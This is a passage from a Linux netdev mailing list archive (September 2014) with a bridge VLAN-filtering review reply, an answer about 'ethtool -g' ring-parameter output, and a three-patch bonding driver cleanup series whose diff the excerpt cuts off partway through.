* Re: [PATCH 3/3] bridge; Automatically filter vlans configured on top of bridge
From: Vlad Yasevich @ 2014-09-15 15:19 UTC (permalink / raw)
To: Toshiaki Makita, Vladislav Yasevich, netdev; +Cc: shemminger, bridge
In-Reply-To: <5415B6C2.5030702@gmail.com>
On 09/14/2014 11:39 AM, Toshiaki Makita wrote:
> (14/09/13 (土) 5:44), Vladislav Yasevich wrote:
>> If the user configures vlan devices on top of the bridge,
>> automatically set up filter entries for it as long as
>> bridge vlan protocol matches that of the vlan.
>> This allows the user to atomatically receive vlan traffic
>> for the vlans that are convifgured.
>
> Changing br->vlan_proto seems to cause inconsistency between vlan
> interfaces and filter settings.
> Can we automatically change filters when setting vlan_proto?
>
I thought we already do that in br_vlan_set_proto()? Nothing
here introduces any new kinds of issue with that code.
>>
> ...
>> +static int br_vlan_rx_kill_vid(struct net_device *br_dev,
>> + __be16 proto, u16 vid)
> ...
>> + /* Don't report error. This will fail if the vlan was
>> + * previousely remove by some other means and we don't
>> + * wan't to polute the log/bug the user.
>> + */
>> + br_vlan_delete(br, vid);
>> + return 0;
>> +}
>
> It might lead to unexpected behaviour, for example,
> 1. create br0.10
> 2. set pvid to 10 on br0
> 3. delete br0.10
> Then, pvid will also be cleared?
> Something like ref counting is needed?
Gah! The bitmap implementation is really starting to annoy me. Yes, it's fast, but it
is so restrictive...
We'd need tracking per vlan id and we can't that right now. OK, this one needs more
thought. I'll drop it for now.
Thanks
-vlad
>
> Thanks,
> Toshiaki Makita
>
^ permalink raw reply
* Re: Ring parameter information
From: Rick Jones @ 2014-09-15 15:19 UTC (permalink / raw)
To: Hosam Hittini, netdev
In-Reply-To: <F225A4E9-1298-4262-8F24-9BF368100C78@gmail.com>
On 09/14/2014 11:14 PM, Hosam Hittini wrote:
> Hi,
>
> I have two network interfaces and I used "ethtool -g" to get their ring parameters, but I don’t quite understand the output
> For the ethernet interface the output says the operation is not supported
> For the wireless interface the output says the sending and receiving buffer sizes are equal to zero
> I wonder if anyone can help me with that
>
> hosam@Robin-01:~$ sudo ethtool -g eth0
> Ring parameters for eth0:
> Cannot get device ring settings: Operation not supported
That means what it says - the driver/device for eth0 does not support
reporting ring settings.
> hosam@Robin-01:~$ sudo ethtool -g wlan1
> Ring parameters for wlan1:
> Pre-set maximums:
> RX: 0
> RX Mini: 0
> RX Jumbo: 0
> TX: 0
> Current hardware settings:
> RX: 0
> RX Mini: 0
> RX Jumbo: 0
> TX: 0
I am just guessing, but I would guess one of two things - either that
driver doesn't "really" support retrieving ring settings, or there is a
bug or no way for it to report them in a meaningful way. You should
look-up the driver name (ethtool -i) and then go to a kernel source tree
and find that driver under drivers/net/ and see what its ethtool support
code looks like.
rick jones
^ permalink raw reply
* [PATCH net-next 0/3] bonding: style, comment and assertion changes
From: Nikolay Aleksandrov @ 2014-09-15 15:19 UTC (permalink / raw)
To: netdev; +Cc: vfalico, j.vosburgh, andy, davem, Nikolay Aleksandrov
Hi all,
This is a small and simple patch-set that doesn't introduce (hopefully) any
functional changes, but only stylistic and semantic ones.
Patch 01 simply uses the already provided __rlb_next_rx_slave function inside
rlb_next_rx_slave(), thus removing the duplication of code.
Patch 02 changes all comments that I could find to netdev style, removes
some outdated ones and fixes a few more small cosmetic issues (new line
after declaration, braces around if; else and such)
Patch 03 removes one extra ASSERT_RTNL() because we already have it in the
parent function and consolidates two other ASSERT_RTNL()s to the function
that is exported and supposed to be called with RTNL anyway.
Best regards,
Nikolay Aleksandrov
Nikolay Aleksandrov (3):
bonding: consolidate the two rlb_next_rx_slave functions into one
bonding: trivial: style and comment fixes
bonding: consolidate ASSERT_RTNL()s and remove the unnecessary
drivers/net/bonding/bond_3ad.c | 5 +-
drivers/net/bonding/bond_alb.c | 86 ++++++----------
drivers/net/bonding/bond_debugfs.c | 4 +-
drivers/net/bonding/bond_main.c | 205 +++++++++++++------------------------
drivers/net/bonding/bond_sysfs.c | 1 -
drivers/net/bonding/bonding.h | 3 +-
6 files changed, 105 insertions(+), 199 deletions(-)
--
1.9.3
^ permalink raw reply
* [PATCH net-next 1/3] bonding: consolidate the two rlb_next_rx_slave functions into one
From: Nikolay Aleksandrov @ 2014-09-15 15:19 UTC (permalink / raw)
To: netdev; +Cc: vfalico, j.vosburgh, andy, davem, Nikolay Aleksandrov
In-Reply-To: <1410794375-7386-1-git-send-email-nikolay@redhat.com>
__rlb_next_rx_slave() is a copy of rlb_next_rx_slave() with the
difference that it uses rcu primitives to walk the slave list. We don't
need the two functions and can make rlb_next_rx_slave() a wrapper for
callers which hold RTNL.
So add a comment and ASSERT_RTNL() to make sure what is intended.
Signed-off-by: Nikolay Aleksandrov <nikolay@redhat.com>
---
drivers/net/bonding/bond_alb.c | 38 ++++++++++----------------------------
1 file changed, 10 insertions(+), 28 deletions(-)
diff --git a/drivers/net/bonding/bond_alb.c b/drivers/net/bonding/bond_alb.c
index 85af961f1317..4efdeb67ab7c 100644
--- a/drivers/net/bonding/bond_alb.c
+++ b/drivers/net/bonding/bond_alb.c
@@ -334,14 +334,15 @@ out:
return RX_HANDLER_ANOTHER;
}
-static struct slave *rlb_next_rx_slave(struct bonding *bond)
+/* Caller must hold rcu_read_lock() */
+static struct slave *__rlb_next_rx_slave(struct bonding *bond)
{
struct alb_bond_info *bond_info = &(BOND_ALB_INFO(bond));
struct slave *before = NULL, *rx_slave = NULL, *slave;
struct list_head *iter;
bool found = false;
- bond_for_each_slave(bond, slave, iter) {
+ bond_for_each_slave_rcu(bond, slave, iter) {
if (!bond_slave_can_tx(slave))
continue;
if (!found) {
@@ -366,35 +367,16 @@ static struct slave *rlb_next_rx_slave(struct bonding *bond)
return rx_slave;
}
-/* Caller must hold rcu_read_lock() */
-static struct slave *__rlb_next_rx_slave(struct bonding *bond)
+/* Caller must hold RTNL, rcu_read_lock is obtained only to silence checkers */
+static struct slave *rlb_next_rx_slave(struct bonding *bond)
{
- struct alb_bond_info *bond_info = &(BOND_ALB_INFO(bond));
- struct slave *before = NULL, *rx_slave = NULL, *slave;
- struct list_head *iter;
- bool found = false;
+ struct slave *rx_slave;
- bond_for_each_slave_rcu(bond, slave, iter) {
- if (!bond_slave_can_tx(slave))
- continue;
- if (!found) {
- if (!before || before->speed < slave->speed)
- before = slave;
- } else {
- if (!rx_slave || rx_slave->speed < slave->speed)
- rx_slave = slave;
- }
- if (slave == bond_info->rx_slave)
- found = true;
- }
- /* we didn't find anything after the current or we have something
- * better before and up to the current slave
- */
- if (!rx_slave || (before && rx_slave->speed < before->speed))
- rx_slave = before;
+ ASSERT_RTNL();
- if (rx_slave)
- bond_info->rx_slave = rx_slave;
+ rcu_read_lock();
+ rx_slave = __rlb_next_rx_slave(bond);
+ rcu_read_unlock();
return rx_slave;
}
--
1.9.3
^ permalink raw reply related
* [PATCH net-next 3/3] bonding: consolidate ASSERT_RTNL()s and remove the unnecessary
From: Nikolay Aleksandrov @ 2014-09-15 15:19 UTC (permalink / raw)
To: netdev; +Cc: vfalico, j.vosburgh, andy, davem, Nikolay Aleksandrov
In-Reply-To: <1410794375-7386-1-git-send-email-nikolay@redhat.com>
Consolidate the calls to ASSERT_RTNL() before bond_select_active_slave()
inside bond_select_active_slave() itself and remove the ASSERT_RTNL()
from bond_hw_addr_swap() as it's not exported and its only caller -
bond_change_active_slave() already has an ASSERT_RTNL().
Signed-off-by: Nikolay Aleksandrov <nikolay@redhat.com>
---
drivers/net/bonding/bond_main.c | 6 ++----
1 file changed, 2 insertions(+), 4 deletions(-)
diff --git a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c
index 943a899fbfde..5e7987bba583 100644
--- a/drivers/net/bonding/bond_main.c
+++ b/drivers/net/bonding/bond_main.c
@@ -577,8 +577,6 @@ static void bond_hw_addr_flush(struct net_device *bond_dev,
static void bond_hw_addr_swap(struct bonding *bond, struct slave *new_active,
struct slave *old_active)
{
- ASSERT_RTNL();
-
if (old_active) {
if (bond->dev->flags & IFF_PROMISC)
dev_set_promiscuity(old_active->dev, -1);
@@ -876,6 +874,8 @@ void bond_select_active_slave(struct bonding *bond)
struct slave *best_slave;
int rv;
+ ASSERT_RTNL();
+
best_slave = bond_find_best_slave(bond);
if (best_slave != rtnl_dereference(bond->curr_active_slave)) {
bond_change_active_slave(bond, best_slave);
@@ -2004,7 +2004,6 @@ static void bond_miimon_commit(struct bonding *bond)
}
do_failover:
- ASSERT_RTNL();
block_netpoll_tx();
bond_select_active_slave(bond);
unblock_netpoll_tx();
@@ -2598,7 +2597,6 @@ static void bond_ab_arp_commit(struct bonding *bond)
}
do_failover:
- ASSERT_RTNL();
block_netpoll_tx();
bond_select_active_slave(bond);
unblock_netpoll_tx();
--
1.9.3
^ permalink raw reply related
* [PATCH net-next 2/3] bonding: trivial: style and comment fixes
From: Nikolay Aleksandrov @ 2014-09-15 15:19 UTC (permalink / raw)
To: netdev; +Cc: vfalico, j.vosburgh, andy, davem, Nikolay Aleksandrov
In-Reply-To: <1410794375-7386-1-git-send-email-nikolay@redhat.com>
First adjust a couple of locking comments that were left inaccurate,
then adjust comments to use the netdev styling and remove extra new
lines where necessary and add a couple of new lines between declarations
and code. These are all trivial styling changes, no functional change.
Also removed a couple of outdated or obvious comments.
This patch is by no means a complete fix of all netdev style violations
but it gets the bonding closer.
Signed-off-by: Nikolay Aleksandrov <nikolay@redhat.com>
---
drivers/net/bonding/bond_3ad.c | 5 +-
drivers/net/bonding/bond_alb.c | 48 ++++-----
drivers/net/bonding/bond_debugfs.c | 4 +-
drivers/net/bonding/bond_main.c | 199 +++++++++++++------------------------
drivers/net/bonding/bond_sysfs.c | 1 -
drivers/net/bonding/bonding.h | 3 +-
6 files changed, 93 insertions(+), 167 deletions(-)
diff --git a/drivers/net/bonding/bond_3ad.c b/drivers/net/bonding/bond_3ad.c
index 2bb360f32a64..7e9e522fd476 100644
--- a/drivers/net/bonding/bond_3ad.c
+++ b/drivers/net/bonding/bond_3ad.c
@@ -297,15 +297,14 @@ static u16 __get_link_speed(struct port *port)
static u8 __get_duplex(struct port *port)
{
struct slave *slave = port->slave;
-
u8 retval;
/* handling a special case: when the configuration starts with
* link down, it sets the duplex to 0.
*/
- if (slave->link != BOND_LINK_UP)
+ if (slave->link != BOND_LINK_UP) {
retval = 0x0;
- else {
+ } else {
switch (slave->duplex) {
case DUPLEX_FULL:
retval = 0x1;
diff --git a/drivers/net/bonding/bond_alb.c b/drivers/net/bonding/bond_alb.c
index 4efdeb67ab7c..615f3bebd019 100644
--- a/drivers/net/bonding/bond_alb.c
+++ b/drivers/net/bonding/bond_alb.c
@@ -261,14 +261,15 @@ static struct slave *tlb_choose_channel(struct bonding *bond, u32 hash_index,
u32 skb_len)
{
struct slave *tx_slave;
- /*
- * We don't need to disable softirq here, becase
+
+ /* We don't need to disable softirq here, becase
* tlb_choose_channel() is only called by bond_alb_xmit()
* which already has softirq disabled.
*/
spin_lock(&bond->mode_lock);
tx_slave = __tlb_choose_channel(bond, hash_index, skb_len);
spin_unlock(&bond->mode_lock);
+
return tx_slave;
}
@@ -569,7 +570,7 @@ static void rlb_req_update_subnet_clients(struct bonding *bond, __be32 src_ip)
netdev_err(bond->dev, "found a client with no channel in the client's hash table\n");
continue;
}
- /*update all clients using this src_ip, that are not assigned
+ /* update all clients using this src_ip, that are not assigned
* to the team's address (curr_active_slave) and have a known
* unicast mac address.
*/
@@ -695,9 +696,7 @@ static struct slave *rlb_arp_xmit(struct sk_buff *skb, struct bonding *bond)
return NULL;
if (arp->op_code == htons(ARPOP_REPLY)) {
- /* the arp must be sent on the selected
- * rx channel
- */
+ /* the arp must be sent on the selected rx channel */
tx_slave = rlb_choose_channel(skb, bond);
if (tx_slave)
ether_addr_copy(arp->mac_src, tx_slave->dev->dev_addr);
@@ -756,7 +755,7 @@ static void rlb_rebalance(struct bonding *bond)
spin_unlock_bh(&bond->mode_lock);
}
-/* Caller must hold rx_hashtbl lock */
+/* Caller must hold mode_lock */
static void rlb_init_table_entry_dst(struct rlb_client_info *entry)
{
entry->used_next = RLB_NULL_INDEX;
@@ -844,8 +843,9 @@ static void rlb_src_link(struct bonding *bond, u32 ip_src_hash, u32 ip_dst_hash)
bond_info->rx_hashtbl[ip_src_hash].src_first = ip_dst_hash;
}
-/* deletes all rx_hashtbl entries with arp->ip_src if their mac_src does
- * not match arp->mac_src */
+/* deletes all rx_hashtbl entries with arp->ip_src if their mac_src does
+ * not match arp->mac_src
+ */
static void rlb_purge_src_ip(struct bonding *bond, struct arp_pkt *arp)
{
struct alb_bond_info *bond_info = &(BOND_ALB_INFO(bond));
@@ -1022,8 +1022,9 @@ static int alb_set_slave_mac_addr(struct slave *slave, u8 addr[])
return 0;
}
- /* for rlb each slave must have a unique hw mac addresses so that */
- /* each slave will receive packets destined to a different mac */
+ /* for rlb each slave must have a unique hw mac addresses so that
+ * each slave will receive packets destined to a different mac
+ */
memcpy(s_addr.sa_data, addr, dev->addr_len);
s_addr.sa_family = dev->type;
if (dev_set_mac_address(dev, &s_addr)) {
@@ -1034,13 +1035,10 @@ static int alb_set_slave_mac_addr(struct slave *slave, u8 addr[])
return 0;
}
-/*
- * Swap MAC addresses between two slaves.
+/* Swap MAC addresses between two slaves.
*
* Called with RTNL held, and no other locks.
- *
*/
-
static void alb_swap_mac_addr(struct slave *slave1, struct slave *slave2)
{
u8 tmp_mac_addr[ETH_ALEN];
@@ -1051,8 +1049,7 @@ static void alb_swap_mac_addr(struct slave *slave1, struct slave *slave2)
}
-/*
- * Send learning packets after MAC address swap.
+/* Send learning packets after MAC address swap.
*
* Called with RTNL and no other locks
*/
@@ -1125,7 +1122,6 @@ static void alb_change_hw_addr_on_detach(struct bonding *bond, struct slave *sla
found_slave = bond_slave_has_mac(bond, slave->perm_hwaddr);
if (found_slave) {
- /* locking: needs RTNL and nothing else */
alb_swap_mac_addr(slave, found_slave);
alb_fasten_mac_swap(bond, slave, found_slave);
}
@@ -1174,7 +1170,8 @@ static int alb_handle_addr_collision_on_attach(struct bonding *bond, struct slav
return 0;
/* Try setting slave mac to bond address and fall-through
- to code handling that situation below... */
+ * to code handling that situation below...
+ */
alb_set_slave_mac_addr(slave, bond->dev->dev_addr);
}
@@ -1282,7 +1279,6 @@ int bond_alb_initialize(struct bonding *bond, int rlb_enabled)
if (rlb_enabled) {
bond->alb_info.rlb_enabled = 1;
- /* initialize rlb */
res = rlb_initialize(bond);
if (res) {
tlb_deinitialize(bond);
@@ -1306,7 +1302,7 @@ void bond_alb_deinitialize(struct bonding *bond)
}
static int bond_do_alb_xmit(struct sk_buff *skb, struct bonding *bond,
- struct slave *tx_slave)
+ struct slave *tx_slave)
{
struct alb_bond_info *bond_info = &(BOND_ALB_INFO(bond));
struct ethhdr *eth_data = eth_hdr(skb);
@@ -1554,13 +1550,11 @@ void bond_alb_monitor(struct work_struct *work)
bond_info->tx_rebalance_counter = 0;
}
- /* handle rlb stuff */
if (bond_info->rlb_enabled) {
if (bond_info->primary_is_promisc &&
(++bond_info->rlb_promisc_timeout_counter >= RLB_PROMISC_TIMEOUT)) {
- /*
- * dev_set_promiscuity requires rtnl and
+ /* dev_set_promiscuity requires rtnl and
* nothing else. Avoid race with bond_close.
*/
rcu_read_unlock();
@@ -1630,8 +1624,7 @@ int bond_alb_init_slave(struct bonding *bond, struct slave *slave)
return 0;
}
-/*
- * Remove slave from tlb and rlb hash tables, and fix up MAC addresses
+/* Remove slave from tlb and rlb hash tables, and fix up MAC addresses
* if necessary.
*
* Caller must hold RTNL and no other locks
@@ -1718,8 +1711,7 @@ void bond_alb_handle_active_change(struct bonding *bond, struct slave *new_slave
if (!swap_slave)
swap_slave = bond_slave_has_mac(bond, bond->dev->dev_addr);
- /*
- * Arrange for swap_slave and new_slave to temporarily be
+ /* Arrange for swap_slave and new_slave to temporarily be
* ignored so we can mess with their MAC addresses without
* fear of interference from transmit activity.
*/
diff --git a/drivers/net/bonding/bond_debugfs.c b/drivers/net/bonding/bond_debugfs.c
index 652f6c5d1bf7..8f99082f90eb 100644
--- a/drivers/net/bonding/bond_debugfs.c
+++ b/drivers/net/bonding/bond_debugfs.c
@@ -13,9 +13,7 @@
static struct dentry *bonding_debug_root;
-/*
- * Show RLB hash table
- */
+/* Show RLB hash table */
static int bond_debug_rlb_hash_show(struct seq_file *m, void *v)
{
struct bonding *bond = m->private;
diff --git a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c
index 2d90a8b7f62e..943a899fbfde 100644
--- a/drivers/net/bonding/bond_main.c
+++ b/drivers/net/bonding/bond_main.c
@@ -253,8 +253,7 @@ void bond_dev_queue_xmit(struct bonding *bond, struct sk_buff *skb,
dev_queue_xmit(skb);
}
-/*
- * In the following 2 functions, bond_vlan_rx_add_vid and bond_vlan_rx_kill_vid,
+/* In the following 2 functions, bond_vlan_rx_add_vid and bond_vlan_rx_kill_vid,
* We don't protect the slave list iteration with a lock because:
* a. This operation is performed in IOCTL context,
* b. The operation is protected by the RTNL semaphore in the 8021q code,
@@ -326,8 +325,7 @@ static int bond_vlan_rx_kill_vid(struct net_device *bond_dev,
/*------------------------------- Link status -------------------------------*/
-/*
- * Set the carrier state for the master according to the state of its
+/* Set the carrier state for the master according to the state of its
* slaves. If any slaves are up, the master is up. In 802.3ad mode,
* do special 802.3ad magic.
*
@@ -362,8 +360,7 @@ down:
return 0;
}
-/*
- * Get link speed and duplex from the slave's base driver
+/* Get link speed and duplex from the slave's base driver
* using ethtool. If for some reason the call fails or the
* values are invalid, set speed and duplex to -1,
* and return.
@@ -416,8 +413,7 @@ const char *bond_slave_link_status(s8 link)
}
}
-/*
- * if <dev> supports MII link status reporting, check its link status.
+/* if <dev> supports MII link status reporting, check its link status.
*
* We either do MII/ETHTOOL ioctls, or check netif_carrier_ok(),
* depending upon the setting of the use_carrier parameter.
@@ -454,14 +450,14 @@ static int bond_check_dev_link(struct bonding *bond,
/* Ethtool can't be used, fallback to MII ioctls. */
ioctl = slave_ops->ndo_do_ioctl;
if (ioctl) {
- /* TODO: set pointer to correct ioctl on a per team member */
- /* bases to make this more efficient. that is, once */
- /* we determine the correct ioctl, we will always */
- /* call it and not the others for that team */
- /* member. */
-
- /*
- * We cannot assume that SIOCGMIIPHY will also read a
+ /* TODO: set pointer to correct ioctl on a per team member
+ * bases to make this more efficient. that is, once
+ * we determine the correct ioctl, we will always
+ * call it and not the others for that team
+ * member.
+ */
+
+ /* We cannot assume that SIOCGMIIPHY will also read a
* register; not all network drivers (e.g., e100)
* support that.
*/
@@ -476,8 +472,7 @@ static int bond_check_dev_link(struct bonding *bond,
}
}
- /*
- * If reporting, report that either there's no dev->do_ioctl,
+ /* If reporting, report that either there's no dev->do_ioctl,
* or both SIOCGMIIREG and get_link failed (meaning that we
* cannot report link status). If not reporting, pretend
* we're ok.
@@ -487,9 +482,7 @@ static int bond_check_dev_link(struct bonding *bond,
/*----------------------------- Multicast list ------------------------------*/
-/*
- * Push the promiscuity flag down to appropriate slaves
- */
+/* Push the promiscuity flag down to appropriate slaves */
static int bond_set_promiscuity(struct bonding *bond, int inc)
{
struct list_head *iter;
@@ -512,9 +505,7 @@ static int bond_set_promiscuity(struct bonding *bond, int inc)
return err;
}
-/*
- * Push the allmulti flag down to all slaves
- */
+/* Push the allmulti flag down to all slaves */
static int bond_set_allmulti(struct bonding *bond, int inc)
{
struct list_head *iter;
@@ -537,8 +528,7 @@ static int bond_set_allmulti(struct bonding *bond, int inc)
return err;
}
-/*
- * Retrieve the list of registered multicast addresses for the bonding
+/* Retrieve the list of registered multicast addresses for the bonding
* device and retransmit an IGMP JOIN request to the current active
* slave.
*/
@@ -560,8 +550,7 @@ static void bond_resend_igmp_join_requests_delayed(struct work_struct *work)
rtnl_unlock();
}
-/* Flush bond's hardware addresses from slave
- */
+/* Flush bond's hardware addresses from slave */
static void bond_hw_addr_flush(struct net_device *bond_dev,
struct net_device *slave_dev)
{
@@ -632,8 +621,7 @@ static void bond_set_dev_addr(struct net_device *bond_dev,
call_netdevice_notifiers(NETDEV_CHANGEADDR, bond_dev);
}
-/*
- * bond_do_fail_over_mac
+/* bond_do_fail_over_mac
*
* Perform special MAC address swapping for fail_over_mac settings
*
@@ -653,8 +641,7 @@ static void bond_do_fail_over_mac(struct bonding *bond,
bond_set_dev_addr(bond->dev, new_active->dev);
break;
case BOND_FOM_FOLLOW:
- /*
- * if new_active && old_active, swap them
+ /* if new_active && old_active, swap them
* if just old_active, do nothing (going to no active slave)
* if just new_active, set new_active to bond's MAC
*/
@@ -863,7 +850,8 @@ void bond_change_active_slave(struct bonding *bond, struct slave *new_active)
/* resend IGMP joins since active slave has changed or
* all were sent on curr_active_slave.
* resend only if bond is brought up with the affected
- * bonding modes and the retransmission is enabled */
+ * bonding modes and the retransmission is enabled
+ */
if (netif_running(bond->dev) && (bond->params.resend_igmp > 0) &&
((bond_uses_primary(bond) && new_active) ||
BOND_MODE(bond) == BOND_MODE_ROUNDROBIN)) {
@@ -1229,8 +1217,7 @@ int bond_enslave(struct net_device *bond_dev, struct net_device *slave_dev)
slave_dev->name);
}
- /*
- * Old ifenslave binaries are no longer supported. These can
+ /* Old ifenslave binaries are no longer supported. These can
* be identified with moderate accuracy by the state of the slave:
* the current ifenslave will set the interface down prior to
* enslaving it; the old ifenslave will not.
@@ -1302,7 +1289,8 @@ int bond_enslave(struct net_device *bond_dev, struct net_device *slave_dev)
call_netdevice_notifiers(NETDEV_JOIN, slave_dev);
/* If this is the first slave, then we need to set the master's hardware
- * address to be the same as the slave's. */
+ * address to be the same as the slave's.
+ */
if (!bond_has_slaves(bond) &&
bond->dev->addr_assign_type == NET_ADDR_RANDOM)
bond_set_dev_addr(bond->dev, slave_dev);
@@ -1315,8 +1303,7 @@ int bond_enslave(struct net_device *bond_dev, struct net_device *slave_dev)
new_slave->bond = bond;
new_slave->dev = slave_dev;
- /*
- * Set the new_slave's queue_id to be zero. Queue ID mapping
+ /* Set the new_slave's queue_id to be zero. Queue ID mapping
* is set via sysfs or module option if desired.
*/
new_slave->queue_id = 0;
@@ -1329,8 +1316,7 @@ int bond_enslave(struct net_device *bond_dev, struct net_device *slave_dev)
goto err_free;
}
- /*
- * Save slave's original ("permanent") mac address for modes
+ /* Save slave's original ("permanent") mac address for modes
* that need it, and for restoring it upon release, and then
* set it to the master's address
*/
@@ -1338,8 +1324,7 @@ int bond_enslave(struct net_device *bond_dev, struct net_device *slave_dev)
if (!bond->params.fail_over_mac ||
BOND_MODE(bond) != BOND_MODE_ACTIVEBACKUP) {
- /*
- * Set slave to master's mac address. The application already
+ /* Set slave to master's mac address. The application already
* set the master's mac address to that of the first slave
*/
memcpy(addr.sa_data, bond_dev->dev_addr, bond_dev->addr_len);
@@ -1425,8 +1410,7 @@ int bond_enslave(struct net_device *bond_dev, struct net_device *slave_dev)
link_reporting = bond_check_dev_link(bond, slave_dev, 1);
if ((link_reporting == -1) && !bond->params.arp_interval) {
- /*
- * miimon is set but a bonded network driver
+ /* miimon is set but a bonded network driver
* does not support ETHTOOL/MII and
* arp_interval is not set. Note: if
* use_carrier is enabled, we will never go
@@ -1626,8 +1610,7 @@ err_undo_flags:
return res;
}
-/*
- * Try to release the slave device <slave> from the bond device <master>
+/* Try to release the slave device <slave> from the bond device <master>
* It is legal to access curr_active_slave without a lock because all the function
* is RTNL-locked. If "all" is true it means that the function is being called
* while destroying a bond interface and all slaves are being released.
@@ -1713,8 +1696,7 @@ static int __bond_release_one(struct net_device *bond_dev,
if (all) {
RCU_INIT_POINTER(bond->curr_active_slave, NULL);
} else if (oldcurrent == slave) {
- /*
- * Note that we hold RTNL over this sequence, so there
+ /* Note that we hold RTNL over this sequence, so there
* is no concern that another slave add/remove event
* will interfere.
*/
@@ -1741,10 +1723,9 @@ static int __bond_release_one(struct net_device *bond_dev,
netdev_info(bond_dev, "last VLAN challenged slave %s left bond %s - VLAN blocking is removed\n",
slave_dev->name, bond_dev->name);
- /* must do this from outside any spinlocks */
vlan_vids_del_by_dev(slave_dev, bond_dev);
- /* If the mode uses primary, then this cases was handled above by
+ /* If the mode uses primary, then this case was handled above by
* bond_change_active_slave(..., NULL)
*/
if (!bond_uses_primary(bond)) {
@@ -1784,7 +1765,7 @@ static int __bond_release_one(struct net_device *bond_dev,
bond_free_slave(slave);
- return 0; /* deletion OK */
+ return 0;
}
/* A wrapper used because of ndo_del_link */
@@ -1793,10 +1774,9 @@ int bond_release(struct net_device *bond_dev, struct net_device *slave_dev)
return __bond_release_one(bond_dev, slave_dev, false);
}
-/*
-* First release a slave and then destroy the bond if no more slaves are left.
-* Must be under rtnl_lock when this function is called.
-*/
+/* First release a slave and then destroy the bond if no more slaves are left.
+ * Must be under rtnl_lock when this function is called.
+ */
static int bond_release_and_destroy(struct net_device *bond_dev,
struct net_device *slave_dev)
{
@@ -1819,7 +1799,6 @@ static int bond_info_query(struct net_device *bond_dev, struct ifbond *info)
info->bond_mode = BOND_MODE(bond);
info->miimon = bond->params.miimon;
-
info->num_slaves = bond->slave_cnt;
return 0;
@@ -1882,9 +1861,7 @@ static int bond_miimon_inspect(struct bonding *bond)
/*FALLTHRU*/
case BOND_LINK_FAIL:
if (link_state) {
- /*
- * recovered before downdelay expired
- */
+ /* recovered before downdelay expired */
slave->link = BOND_LINK_UP;
slave->last_link_up = jiffies;
netdev_info(bond->dev, "link status up again after %d ms for interface %s\n",
@@ -2036,8 +2013,7 @@ do_failover:
bond_set_carrier(bond);
}
-/*
- * bond_mii_monitor
+/* bond_mii_monitor
*
* Really a wrapper that splits the mii monitor into two phases: an
* inspection, then (if inspection indicates something needs to be done)
@@ -2109,8 +2085,7 @@ static bool bond_has_this_ip(struct bonding *bond, __be32 ip)
return ret;
}
-/*
- * We go to the (large) trouble of VLAN tagging ARP frames because
+/* We go to the (large) trouble of VLAN tagging ARP frames because
* switches in VLAN mode (especially if ports are configured as
* "native" to a VLAN) might not pass non-tagged frames.
*/
@@ -2337,8 +2312,7 @@ int bond_arp_rcv(const struct sk_buff *skb, struct bonding *bond,
curr_active_slave = rcu_dereference(bond->curr_active_slave);
- /*
- * Backup slaves won't see the ARP reply, but do come through
+ /* Backup slaves won't see the ARP reply, but do come through
* here for each ARP probe (so we swap the sip/tip to validate
* the probe). In a "redundant switch, common router" type of
* configuration, the ARP probe will (hopefully) travel from
@@ -2378,8 +2352,7 @@ static bool bond_time_in_interval(struct bonding *bond, unsigned long last_act,
last_act + mod * delta_in_ticks + delta_in_ticks/2);
}
-/*
- * this function is called regularly to monitor each slave's link
+/* This function is called regularly to monitor each slave's link
* ensuring that traffic is being sent and received when arp monitoring
* is used in load-balancing mode. if the adapter has been dormant, then an
* arp is transmitted to generate traffic. see activebackup_arp_monitor for
@@ -2488,8 +2461,7 @@ re_arm:
msecs_to_jiffies(bond->params.arp_interval));
}
-/*
- * Called to inspect slaves for active-backup mode ARP monitor link state
+/* Called to inspect slaves for active-backup mode ARP monitor link state
* changes. Sets new_link in slaves to specify what action should take
* place for the slave. Returns 0 if no changes are found, >0 if changes
* to link states must be committed.
@@ -2515,16 +2487,14 @@ static int bond_ab_arp_inspect(struct bonding *bond)
continue;
}
- /*
- * Give slaves 2*delta after being enslaved or made
+ /* Give slaves 2*delta after being enslaved or made
* active. This avoids bouncing, as the last receive
* times need a full ARP monitor cycle to be updated.
*/
if (bond_time_in_interval(bond, slave->last_link_up, 2))
continue;
- /*
- * Backup slave is down if:
+ /* Backup slave is down if:
* - No current_arp_slave AND
* - more than 3*delta since last receive AND
* - the bond has an IP address
@@ -2543,8 +2513,7 @@ static int bond_ab_arp_inspect(struct bonding *bond)
commit++;
}
- /*
- * Active slave is down if:
+ /* Active slave is down if:
* - more than 2*delta since transmitting OR
* - (more than 2*delta since receive AND
* the bond has an IP address)
@@ -2561,8 +2530,7 @@ static int bond_ab_arp_inspect(struct bonding *bond)
return commit;
}
-/*
- * Called to commit link state changes noted by inspection step of
+/* Called to commit link state changes noted by inspection step of
* active-backup mode ARP monitor.
*
* Called with RTNL hold.
@@ -2639,8 +2607,7 @@ do_failover:
bond_set_carrier(bond);
}
-/*
- * Send ARP probes for active-backup mode ARP monitor.
+/* Send ARP probes for active-backup mode ARP monitor.
*
* Called with rcu_read_lock held.
*/
@@ -2782,9 +2749,7 @@ re_arm:
/*-------------------------- netdev event handling --------------------------*/
-/*
- * Change device name
- */
+/* Change device name */
static int bond_event_changename(struct bonding *bond)
{
bond_remove_proc_entry(bond);
@@ -2861,13 +2826,9 @@ static int bond_slave_netdev_event(unsigned long event,
}
break;
case NETDEV_DOWN:
- /*
- * ... Or is it this?
- */
break;
case NETDEV_CHANGEMTU:
- /*
- * TODO: Should slaves be allowed to
+ /* TODO: Should slaves be allowed to
* independently alter their MTU? For
* an active-backup bond, slaves need
* not be the same type of device, so
@@ -2916,8 +2877,7 @@ static int bond_slave_netdev_event(unsigned long event,
return NOTIFY_DONE;
}
-/*
- * bond_netdev_event: handle netdev notifier chain events.
+/* bond_netdev_event: handle netdev notifier chain events.
*
* This function receives events for the netdev chain. The caller (an
* ioctl handler calling blocking_notifier_call_chain) holds the necessary
@@ -3187,8 +3147,7 @@ static int bond_do_ioctl(struct net_device *bond_dev, struct ifreq *ifr, int cmd
mii->phy_id = 0;
/* Fall Through */
case SIOCGMIIREG:
- /*
- * We do this again just in case we were called by SIOCGMIIREG
+ /* We do this again just in case we were called by SIOCGMIIREG
* instead of SIOCGMIIPHY.
*/
mii = if_mii(ifr);
@@ -3229,7 +3188,6 @@ static int bond_do_ioctl(struct net_device *bond_dev, struct ifreq *ifr, int cmd
return res;
default:
- /* Go on */
break;
}
@@ -3291,7 +3249,6 @@ static void bond_set_rx_mode(struct net_device *bond_dev)
struct list_head *iter;
struct slave *slave;
-
